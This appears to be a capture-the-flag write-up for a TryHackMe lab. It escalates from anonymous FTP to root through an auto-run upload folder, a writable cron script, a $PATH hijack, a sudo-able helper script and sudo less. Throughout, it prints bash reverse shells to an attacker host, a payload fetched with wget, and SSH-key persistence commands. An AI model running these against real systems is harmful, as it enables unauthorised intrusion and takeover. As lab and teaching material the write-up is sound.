The brief sets the tone, a misconfigured automation pipeline where each stage trusts the previous one a little too much. The goal is to ride those trust boundaries all the way up:
recon_user → dev_user → monitor_user → ops_user → rootRecon
A full-port service scan to see what’s exposed.
❯ nmap -sV -sC -p- <target-ip>PORT STATE SERVICE VERSION21/tcp open ftp vsftpd 3.0.5| ftp-anon: Anonymous FTP login allowed (FTP code 230)| drwxrwxrwx 2 115 123 4096 Apr 30 06:00 incoming [NSE: writeable]|_drwxr-xr-x 4 115 123 4096 Jun 09 08:22 pub22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)Two things jump out: anonymous FTP is allowed, and the incoming directory is world-writeable. That pairing is rarely an accident, something is almost certainly watching that folder.
Foothold: anonymous FTP → shell as recon_user
Logging in anonymously and looking around:
❯ ftp <target-ip>Name (<target-ip>:velnic): anonymous230 Login successful.ftp> lsdrwxrwxrwx 2 115 123 4096 Apr 30 06:00 incomingdrwxr-xr-x 4 115 123 4096 Jun 09 08:22 pubftp> get pub/README.txtThe README.txt in pub/ explains exactly what the writeable folder is for:
[ recon pipeline ]
All recon jobs must be placed in incoming/.Files are processed automatically on arrival.Invalid formats are ignored.So jobs dropped in incoming/ get executed automatically by whatever runs the pipeline. That’s a free code-execution primitive, I’ll drop a reverse shell as the “job”.
sh -i >& /dev/tcp/<attacker-ip>/1337 0>&1Listener up, then upload the file:
❯ nc -lvnp 1337listening on [any] 1337 ...
ftp> cd incomingftp> put scan.sh226 Transfer complete.A few seconds later the pipeline runs it and the shell lands:
$ whoamirecon_userUpgrade to a proper PTY so things behave:
$ python3 -c 'import pty; pty.spawn("/bin/bash")'recon_user@tryhackme-2404:~$ ^Z❯ stty raw -echo; fgrecon_user@tryhackme-2404:~$ export TERM=xtermrecon_user@tryhackme-2404:~$ cat flag.txtTHM{████████████████████████████████████}First flag captured. 🚩
recon_user → dev_user: cron-script abuse
Standard enumeration first, sudo -l wants a password we don’t have, no useful SUID binaries or capabilities, and /etc/crontab only has the stock entries. /etc/passwd does confirm the user chain the brief promised:
recon_user:x:1001:1001::/home/recon_user:/bin/shdev_user:x:1002:1002::/home/dev_user:/bin/shmonitor_user:x:1003:1003::/home/monitor_user:/bin/shops_user:x:1004:1004::/home/ops_user:/bin/shThe system crontab is empty, so the scheduling lives somewhere cat won’t easily find. Time for pspy to watch processes in real time:
TIP
First wget attempt failed silently, because I used -o instead of -O, -o writes the log to that path, you want -O to set the output file. Easy to miss.
recon_user@tryhackme-2404:~$ wget http://<attacker-ip>/pspy -O /tmp/pspyrecon_user@tryhackme-2404:~$ chmod +x /tmp/pspy && /tmp/pspy...CMD: UID=1002 PID=1768 | /bin/bash /opt/dev/backup.shCMD: UID=1001 PID=1769 | /bin/bash /opt/recon/scan_uploads.shUID=1002 is dev_user, and it runs /opt/dev/backup.sh on a schedule. If that script is writeable, I own the next user. It is, so I append a reverse shell to it:
#!/bin/bashtar -czf /tmp/recon_backup.tgz /home/recon_userbash -i >& /dev/tcp/<attacker-ip>/1338 0>&1Wait for the next run, catch it, upgrade, grab the flag:
❯ nc -lvnp 1338listening on [any] 1338 ...
dev_user@tryhackme-2404:~$ whoamidev_userdev_user@tryhackme-2404:~$ cat flag.txtTHM{████████████████████████████████████}Second flag captured. 🚩
dev_user → monitor_user: $PATH hijack on the healthcheck service
This is the step that cost me the most time. pspy and LinPeas turned up some tempting rabbit holes, the box flags as potentially vulnerable to a couple of recent sudo CVEs (CVE‑2025‑32463 “chwoot” on Sudo 1.9.15p5 among them), but those all asked for dev_user’s password, which I didn’t have. The intended path is meant to be followed in order.
The hint pointed at a healthcheck service that runs ps without an absolute path. The catch: on my box it was sitting dead most of the time, so pspy never showed it:
dev_user@tryhackme-2404:~$ systemctl status healthcheck○ healthcheck.service - System Health Check Loaded: loaded (/etc/systemd/system/healthcheck.service; static) Active: inactive (dead)TriggeredBy: ● healthcheck.timerReading the unit and the script shows the misconfiguration that could be exploited clearly:
[Service]Type=simpleUser=monitor_userEnvironment=PATH=/opt/dev/bin:/usr/local/bin:/usr/binExecStart=/usr/local/bin/healthcheck#!/bin/bashecho "Running as: $(whoami)"while true; do ps aux | grep -v grep sleep 5doneIt calls ps with no absolute path, and its PATH puts /opt/dev/bin first, a directory dev_user controls. So I drop a malicious ps there and it’ll run as monitor_user:
#!/bin/bashbash -i >& /dev/tcp/<attacker-ip>/1339 0>&1The only problem: the service really was dead, and I can’t start it myself. The THM Discord confirmed this is just a flaky box, people simply restart the machine until the timer fires the service. A few restarts later, pspy finally showed it alive:
CMD: UID=1003 PID=1376 | /bin/bash /usr/local/bin/healthcheckCMD: UID=1003 PID=1375 | ps auxWith the service running, my fake ps fires and the shell comes back as monitor_user. This time I’ll plant an SSH key for a cleaner, persistent way back in:
monitor_user@tryhackme-2404:~$ mkdir -p ~/.ssh && chmod 700 ~/.ssh && \ echo '<my-ssh-public-key>' >> ~/.ssh/authorized_keys && \ chmod 600 ~/.ssh/authorized_keys
❯ ssh -i thm_ssh_key monitor_user@<target-ip>monitor_user@tryhackme-2404:~$ cat flag.txtTHM{████████████████████████████████████}Third flag captured. 🚩
monitor_user → ops_user: a sudo-able deploy script
sudo -l finally gives us something, and no password required:
User monitor_user may run the following commands on tryhackme-2404: (ops_user) NOPASSWD: /usr/local/bin/deploy.shdeploy.sh itself is owned by ops_user and not writeable by us, but look at what it calls:
#!/bin/bashcd /opt/app 2>/dev/null./deploy_helper.sh-rwxr-xr-x 1 ops_user ops_user 55 /usr/local/bin/deploy.sh-rwxr-xr-x 1 monitor_user monitor_user 90 /opt/app/deploy_helper.shThe wrapper is locked, but the helper it invokes is owned by monitor_user. I rewrite deploy_helper.sh to plant my key into ops_user’s account:
#!/bin/bashmkdir -p /home/ops_user/.sshchmod 700 /home/ops_user/.sshecho '<my-ssh-public-key>' >> /home/ops_user/.ssh/authorized_keyschmod 600 /home/ops_user/.ssh/authorized_keysWARNING
sudo /usr/local/bin/deploy.sh still prompts for a password, the rule is scoped to a specific target user, so you have to ask for it explicitly with -u ops_user.
monitor_user@tryhackme-2404:~$ sudo -u ops_user /usr/local/bin/deploy.sh
❯ ssh -i thm_ssh_key ops_user@<target-ip>ops_user@tryhackme-2404:~$ cat flag.txtTHM{████████████████████████████████████}Fourth flag captured. 🚩
ops_user → root: sudo less (GTFOBins)
Last hop. For ops_user’s sudo rights are striking again:
User ops_user may run the following commands on tryhackme-2404: (root) NOPASSWD: /usr/bin/lessless as root is a straight GTFOBins win, from its pager you can spawn a shell:
ops_user@tryhackme-2404:~$ sudo less /etc/hosts# (inside less, type:) !/bin/bashroot@tryhackme-2404:/home/ops_user# whoamirootroot@tryhackme-2404:/home/ops_user# cat /root/flag.txtTHM{████████████████████████████████████}Root. Box complete. 🚩
Takeaways
- A world-writeable, auto-processed FTP folder is RCE. “Files are processed automatically on arrival” plus write access is all you need for a foothold.
pspybeatscatfor finding jobs. The schedule wasn’t in/etc/crontab, only watching live processes revealed/opt/dev/backup.shand the healthcheck service.- Relative binary names + an attacker-controlled
PATH= privesc. The healthcheck service trustingpsfrom/opt/dev/binis the whole bug. - Read sudo rules carefully.
(ops_user) NOPASSWDmeans you must pass-u ops_user; and a sudo-ablelessis an instant root via GTFOBins.